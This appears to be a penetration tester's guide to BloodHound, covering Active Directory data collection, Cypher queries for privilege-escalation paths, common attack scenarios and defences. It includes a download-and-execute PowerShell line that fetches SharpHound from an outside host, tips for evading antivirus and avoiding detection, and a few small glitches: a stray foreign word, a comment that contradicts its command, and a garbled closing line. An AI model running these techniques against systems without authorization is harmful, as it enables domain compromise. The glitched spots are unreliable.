BloodHound: The Active Directory Attack Path Mapper
Your practical guide to finding the paths defenders don’t know exist
So you’re staring at an Active Directory environment with 50,000 objects, 200 groups, and ACLs that nobody has touched since Server 2008. The IT team assures you everything is locked down. Spoiler: it’s not. Let me introduce you to the tool that’s changed more pentest reports than any other—BloodHound.
What BloodHound Actually Does (And Why You Need It)
Remember when pentesting AD meant manually running Get-ADUser -Filter * and trying to piece together group memberships in your head? BloodHound killed that approach. It’s a graph database tool that maps relationships in Active Directory—and by relationships, I mean attack paths.
Here’s the core insight that makes BloodHound essential: AD isn’t a list of users and computers. It’s a web of permissions, memberships, and trust relationships. A low-privileged user might look harmless until you realize they can:
- Write to a service account’s attributes
- That service account has local admin on a server
- That server runs a scheduled task as Domain Admin
- Boom—you’re Domain Admin through three hops nobody knew existed
Traditional tools show you pieces. BloodHound shows you the puzzle assembled.
The Three Pillars
BloodHound excels at mapping three things:
Group Membership Chains
You’re in “Marketing Team.” Marketing Team is nested in “All Staff.” All Staff has GenericAll on a computer object. That computer has unconstrained delegation. Graph theory says you can compromise the domain controller.
ACL-Based Attack Paths
This is where BloodHound shines. GenericAll, WriteDACL, WriteOwner, ForceChangePassword—these aren’t just恼人的 permission errors anymore. They’re privesc opportunities the tool flags automatically.
Session and Local Admin Data
Who’s logged into what. Who has local admin where. Combine this with group memberships and ACLs, and you’ll find attack paths that make sysadmins sweat.
Setting Up BloodHound (Without the Headaches)
Let’s get this running. I’ll cover the current setup—BloodHound CE (Community Edition) is the version you want now that SpecterOps has opensourced it.
The Backend: PostgreSQL + Neo4j
BloodHound uses Neo4j as its graph database. BloodHound CE bundles everything in Docker, which is a blessing for setup and a curse for debugging when things go sideways.
The Easy Way (Docker Compose):
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker-compose up -d
Wait for the containers healthy status. Then hit http://localhost:8080. Default creds are in the documentation—change them immediately.
Port Forwarding Gotcha:
If you’re running this on a VPS (which you should—don’t collect AD data on your laptop), remember:
– Port 8080: Web UI
– Port 7474: Neo4j browser (useful for raw queries when the UI isn’t enough)
– Port 7687: Neo4j bolt port (for custom scripts)
Data Collection Tools
You’ve got options. Here’s the current landscape:
SharpHound (Windows, C#)
The original collector. Runs on any domain-joined Windows machine. Ingests with -c All,GPOLocalGroup,Session,LoggedOn,DCOnly,Trusts or use the SIEM-friendly options.
BloodHound.py (Python, Cross-Platform)
My go-to when I don’t have a Windows foothold. Runs from any machine that can reach the domain controller.
bloodhound-python -u 'DOMAIN\user' -p 'password' -d domain.local -ns 10.10.10.10
This dumps JSON files you import directly into BloodHound.
RustHound
The new hot option when SharpHound gets flagged. Incorporate it into your AV evasion workflow.
Running SharpHound: What I Actually Type
Let’s get practical. Here’s my standard collection on a compromised workstation:
# Download SharpHound to disk
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/SharpHound.ps1')
# Full collection with loop for session relisting
Invoke-BloodHound -CollectionMethod All -Loop -LoopCount 3 -LoopInterval 00:10:00
# Or target specific DCs when you opsec-conscious
Invoke-BloodHound -CollectionMethod DCOnly,Session -DomainController dc01.domain.local
The -Loop flag is critical. Sessions change. Users log in and out. If you collect once, you’ll miss that Domain Admin session that only appears during business hours.
Session Collection Trade-offs:
Using the Session collection method means you’re reaching out to every computer in the domain to query logged-on users. That’s noisy. WMI connections that hit every endpoint will trip alerts.
For stealthier ops:
# Targeted session collection on high-value targets only
Invoke-BloodHound -CollectionMethod Session -ComputerName dc01,dc02,sql01,fileserver
Key Queries: Finding the Paths That Matter
You’ve collected the data. Now you need to find attack paths. BloodHound’s query interface has become significantly more powerful in CE. Here are the queries I run in every engagement.
First: Know Your Starting Point
Run this immediately after collection to understand your position:
MATCH (u:User) WHERE u.owned = true RETURN u.name
Mark every user you’ve compromised as owned in the UI (right-click → Mark as Owned). This makes BloodHound calculate paths from compromised principals.
The Golden Query: Shortest Path to Domain Admins
MATCH (m:User {owned:true}), (n:Group), p=shortestPath((m)-[r:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|ReadGMSAPassword|Contains|GpLink|AzAddMembers|AzExecuteOnFunctionApp|AzGetCert|AzGlobalAdmin|AzOwns|AzVMAdminLogin]->(n))
WHERE n.name CONTAINS "DOMAIN ADMINS" OR n.name CONTAINS "ENTERPRISE ADMINS"
RETURN p
This is the one. If there’s a path from your compromised user to Domain Admins, this finds it. Study the output carefully—the path might go through:
– Nest group memberships
– ACL abuse (GenericAll on a user)
– Session hijacking (logged-on Admin session)
– Local admin on a server that has GMSA password
Users with DCSync Rights
Not all Domain Admins are in the “Domain Admins” group. Some have the DS-Replication permission that lets you DCSync:
MATCH (u:User)-[r:MemberOf|GetChanges|GetChangesAll]->(n:Domain)
RETURN u.name
If you see users here, they can dump password hashes without Domain Admin rights.
Computers with Unconstrained Delegation
These computers can impersonate any user to any service. Compromise one, and you can forge tickets for any account:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
If a domain controller shows up here, that’s expected and fine. If a workstation or member server shows up, someone misconfigured something important.
Users with Foreign Group Memberships
Trust boundaries exist for a reason. Find the violations:
MATCH (u:User)-[r:MemberOf]->(g:Group)
WHERE NOT g.domain = u.domain
RETURN u.name, g.name
If a user in your domain is in a group in another domain, that’s a trust relationship you can likely exploit.
Common Attack Paths (The Ones You’ll See in Real Environments)
After dozens of engagements, patterns emerge. Here are the attack paths I encounter repeatedly.
Path 1: Group Nesting Nightmare
Scenario:
You compromise “Help Desk” user. Help Desk → Help Desk Staff → IT Staff → Server Operators → Local Admin on SQL Server → SQL Server has LocalSystem scheduled task as Domain Admin.
Why It Happens:
Nobody audits group membership chains. Teams create new groups instead of reusing old ones. Over a decade, the nesting becomes incomprehensible.
BloodHound Query:
MATCH path = (u:User {owned:true})-[:MemberOf*]->(g:Group)
WHERE g.admincount = true
RETURN path
Path 2: ACL Abuse on User Objects
Scenario:
“ALL staff” group has GenericAll on the “svc_backup” user account. You reset that password, log in, and find svc_backup has local admin on a domain controller through an old configuration.
Why It Happens:
Someone wanted to let all staff update that user’s contact info in the GAL. They clicked GenericAll instead of WritePersonalInfo. Microsoft’s permission names aren’t exactly intuitive.
BloodHound Query:
MATCH (g:Group)-[r:GenericAll|WriteProperty|WriteDacl|WriteOwner]->(u:User)
RETURN g.name, u.name
Path 3: SQL Server Service Account
Scenario:
SQL servers run as Domain User accounts. Those accounts have local admin somewhere for “management purposes.” The SQL server itself has wide SPN registration allowing Kerberoasting. Crack that Kerberoast, pivot to the box the service account admin rights on.
Why It Happens:
SQL Server installation guides rarely mention that running as Domain User creates Kerberoasting targets. And administrators love giving their service accounts local admin.
BloodHound Query:
MATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer)
RETURN u.name, c.name
Path 4: Logged-On Sessions on Workstations
Scenario:
The CEO’s admin assistant has a workstation with Domain Admin sessions. You lateral move to that workstation, grab the memory, and extract credentials.
Why It Happens:
Domain Admins remote into computers to “help” users. They leave sessions lying around. The Domain Admin credential is cached in LSASS. Shadow credentials + RBCD later = Domain Admin.
BloodHound Query:
MATCH (u:User)-[:HasSession]->(c:Computer)
WHERE u.admincount = true OR u.name CONTAINS "ADMIN"
RETURN u.name, c.name
Path 5: ReadLAPSPassword / ReadGMSAPassword
Scenario:
LAPs (Local Administrator Password Solution) randomizes local admin passwords. But some users have ReadLAPSPassword rights on all computers. Similarly, GMSA accounts are “secure” managed service accounts—except when regular users can read their passwords.
Why It Happens:
LAPs and GMSA rollouts often grant password read permissions too broadly. “We’ll fix it later” becomes five years of exposure.
BloodHound Query:
MATCH (u:User)-[:ReadLAPSPassword]->(c:Computer)
RETURN u.name, c.name
UNION
MATCH (u:User)-[:ReadGMSAPassword]->(c:Computer)
RETURN u.name, c.name
Path 6: Trust Relationships
Scenario:
Domain A trusts Domain B. You compromise Domain B Domain Admin. Trust keys let you forge tickets for Domain A.
Why It Happens:
Trusts get created for M&A integrations, partner access, or dev/prod separation. They rarely get reviewed. Trust direction and transitivity get misunderstood. “We trust them” doesn’t mean you should.
BloodHound Query:
MATCH (d:Domain)-[t:TrustedBy]->(d2:Domain)
RETURN d.name, d2.name, t.trustdirection, t.trusttype
Check for bidirectional trusts. Those are your privesc opportunities.
Defending Against BloodHound Recon
You’re a pentester, but part of the job is helping clients fix what you find. Here’s how to defend against BloodHound-based attacks.
1. Tiered Administration (The Right Way)
Implement actual tiered administration:
– Tier 0: Domain Controllers, Domain Admins
– Tier 1: Application Servers, Server Admins
– Tier 2: End User Devices, Help Desk
CREDENTIAL SEGREGATION. No shared accounts across tiers. No caching credentials outside their tier.
2. Clean Up ACLs
Run BloodHound on your own environment. Take the output and fix it:
- Remove GenericAll permissions from large groups
- Audit WriteDacl and WriteOwner rights
- Remove force-password-change rights from non-admin groups
- Delete unused accounts and groups
Microsoft’s “Active Directory Administration Center” can help, but PowerShell does the bulk work:
# Find non-standard ACLs
Get-ACL "AD:\CN=Users,DC=domain,DC=local" | Format-List
3. Limit DCSync Rights
Only Domain Admins and Enterprise Admins need DCSync permissions. Check for:
– “DCSync”–style permissions granted to backup operators
– DS-Replication-Get-Changes and DS-Replication-Get-Changes-All on domain root
4. Session Management
Stop Domain Admins from logging into workstations:
– Group Policy: “Deny log on locally” for Domain Admins on workstation OUs
– Implement Privileged Access Workstations (PAWs)
– Use just-in-time (JIT) administrative access
5. Detection
BloodHound collection is noisy. Detect it:
SharpHound Indicators:
– WMI connections to every computer in the domain
– LDAP searches for all object types
– Unusual Service Principal Name enumeration
– Session enumeration via NetWkstaUserEnum
SIEM Queries:
# Splunk query for SharpHound session enumeration
index=windows EventCode=4624
| where Account_Name="DOMAIN\attack_user"
| search TargetComputer="*"
| stats count by TargetComputer
| where count > 50
If one user is hitting 500 computers in 10 minutes, that’s BloodHound.
6. BlueHound
SpecterOps released BlueHound for defenders. It’s BloodHound but focused on remediation. Use it. It tells you which attack paths to close first based on your critical assets.
Final Thoughts
BloodHound changed penetration testing. It made graph theory practical for a field that was drowning in linear checklists. If you’re not using it, you’re doing half an assessment.
But here’s the real talk: the goal isn’t just to find paths. It’s to help organizations understand that AD is a living system of relationships. Every group added, every ACL modified, every trust created—that’s a potential attack path.
Map it. Close it. Repeat. That’s the job.
This guide is for authorized security testing only. BloodHound collection and analysis against environments you don’t own or have permission to test is illegal. Don’t be the security professional who crosses that line.
Further Reading:
– BloodHound CE Documentation
– SpecterOps Blog
– “Active Directory Security” by Sean Metcalf
– “Red Team Field Manual (RTFM)” by Ben Clark
About the Author:
This guide comes from the field—real engagements, real attack paths, real lessons learned. Every scenario here has been found in production environments. The cage was opened; do with that knowledge what you will ethically responsible security professionals.
